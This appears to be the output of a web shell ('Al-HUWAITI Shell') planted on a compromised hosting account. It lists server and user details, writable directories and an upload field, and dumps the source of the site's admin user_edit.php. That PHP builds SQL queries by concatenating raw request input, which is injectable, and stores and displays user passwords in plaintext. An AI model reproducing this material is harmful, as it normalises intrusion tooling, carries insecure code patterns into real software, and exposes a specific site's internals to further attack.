Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/user_edit.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";
$error = "";
$message = "";
if (!empty($_GET["id"])) {
    $query = "SELECT * from user WHERE id='" . $_GET['id'] . "'";
    $result = mysqli_query($connection, $query);
    $row = mysqli_fetch_assoc($result);
    if (!empty($row["id"])) {
    } else {
        header("Location:users_list");
    }
} else {
    header("Location:users_list");
}

if (!empty($_POST["Process"]) && trim($_POST["Process"]) == "EditNow") {
    $user = array();
    $user['usrname'] = test_input($_POST['usrname']);
    $user['email'] = test_input($_POST['email']);
    $old_email = test_input($_POST['old_email']);
    $user['password'] = test_input($_POST['password']);
    $user['status'] = test_input($_POST['status']);
    $user['block_user'] = test_input($_POST['block_user']);
    $user['country'] = test_input($_POST['country']);

    if ($old_email != $user['email']) {
        #check if email already exist
        $query = "SELECT * from user WHERE email='" . $user['email'] . "'";
        $result = mysqli_query($connection, $query);
        if (mysqli_num_rows($result)) {
            $error = "Email already exist";
        }
    }

    if (empty($error)) {
        $query = "UPDATE user SET usrname='" . addslashes($user['usrname']) . "', email='" . addslashes($user['email']) . "', password='" . addslashes($user['password']) . "',status='" . addslashes($user['status']) . "', block_user='" . addslashes($user['block_user']) . "', country='" . addslashes($user['country']) . "'  WHERE id=" . $row["id"];
        $usrresult = mysqli_query($connection, $query);
        $message = "User updated successfully";
        #ftch the latet data
        $query = "SELECT * from user WHERE id='" . $row['id'] . "'";
        $result = mysqli_query($connection, $query);
        $row = mysqli_fetch_assoc($result);
    }
}
?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item">All Users</li>
            <li class="breadcrumb-item">Edit User</li>
        </ol>
    </div>
</nav>
<!-- Header Ends-->
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <!-- /.card-header -->
                    <div class="card-body">
                        <?php include_once 'notification.php'; ?>
                        <form action="" method="post" id="add-user-form" enctype="multipart/form-data">
                            <div class="form-group">
                                <label for="usrname">Username</label>
                                <input type="text" class="form-control" id="usrname" name="usrname" placeholder="Enter Username" required value="<?php if (!empty($row["usrname"])) {
                                                                                                                                                        echo $row["usrname"];
                                                                                                                                                    } ?>">
                            </div>
                            <div class="form-group">
                                <label for="email">Email</label>
                                <input type="email" class="form-control" id="email" name="email" placeholder="Enter email" required value="<?php if (!empty($row["email"])) {
                                                                                                                                                echo $row["email"];
                                                                                                                                            } ?>">
                            </div>
                            <div class="form-group">
                                <label for="password">Password</label>
                                <input type="password" class="form-control" id="password" name="password" placeholder="Enter Password" required value="<?php if (!empty($row["password"])) {
                                                                                                                                                            echo $row["password"];
                                                                                                                                                        } ?>">
                            </div>
                            <div class="form-group">
                                <label for="country">Country</label>
                                <input type="text" class="form-control" id="country" name="country" placeholder="Enter Country" required value="<?php if (!empty($row["country"])) {
                                                                                                                                                    echo $row["country"];
                                                                                                                                                } ?>">
                            </div>
                            <div class="form-group">
                                <label for="user_country_id">Status</label>
                                <select class="form-control" id="status" name="status">
                                    <option value="1" <?php if (trim($row["status"]) == "1") { ?> selected="selected" <?php } ?>>Active </option>
                                    <option value="0" <?php if (trim($row["status"]) == "0") { ?> selected="selected" <?php } ?>>Inactive</option>
                                </select>
                            </div>

                            <div class="form-group">
                                <label for="user_country_id">Block</label>
                                <select class="form-control" id="block_user" name="block_user">
                                    <option value="1" <?php if (trim($row["block_user"]) == "1") { ?> selected="selected" <?php } ?>>Unblocked </option>
                                    <option value="0" <?php if (trim($row["block_user"]) == "0") { ?> selected="selected" <?php } ?>>Blocked</option>
                                </select>
                            </div>

                            <button type="submit" class="btn btn-primary">Edit</button>
                            <input type="hidden" name="Process" id="Process" value="EditNow" />
                            <input type="hidden" class="form-control" id="old_email" name="old_email" value="<?php if (!empty($row["email"])) {
                                                                                                                    echo $row["email"];
                                                                                                                } ?>">
                        </form>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Content Ends-->
<!-- Footer Start-->
<?php include("footer.php"); ?>
<!-- Footer Ends-->

Al-HUWAITI Shell